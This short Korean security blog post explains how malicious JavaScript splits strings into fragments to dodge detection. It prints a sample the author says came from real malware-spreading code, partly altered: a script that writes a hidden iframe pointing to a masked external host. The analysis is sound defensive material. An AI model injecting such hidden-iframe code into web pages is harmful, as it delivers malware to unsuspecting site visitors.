본문 바로가기

어느 한 분야를 전문적으로 연구함. 또는 그 분야./정보를 여러가지 위협으로부터 보호

Split Obfuscated

말 그대로 조각내어 난독화 하는 형태 입니다.


split 기법에도 다양한 형태가 있는데, 아래와 같이 한개의 변수의 값을 조각내는 경우도 있고

각각의 변수를 선언하여 변수마다 조각난 문자열을 보관하여 변수의 합으로 완성된 문자열을 이용하는 경우도 있습니다.


function baiduuu(){
var Then = new Date() 
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookvie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{
var visxa="xx9";
var fire="<ifra"+"me sr";
document.cookie = "Cookvie1=duis;expires="+ Then.toGMTString()
document.write("<div style=\'dispaly:none;\' >");
document.write(fire+"c=http:\/\/***.***.com:66\/1\/gday.htm wid"+"th=100 hei"+"ght=0><\/ifr"+"ame>");
document.write("</div>");
}
}baiduuu();


* 실제 악성코드 유포하는 소스코드 중 샘플이기 때문에 일부 내용을 변경하였습니다.



티스토리 툴바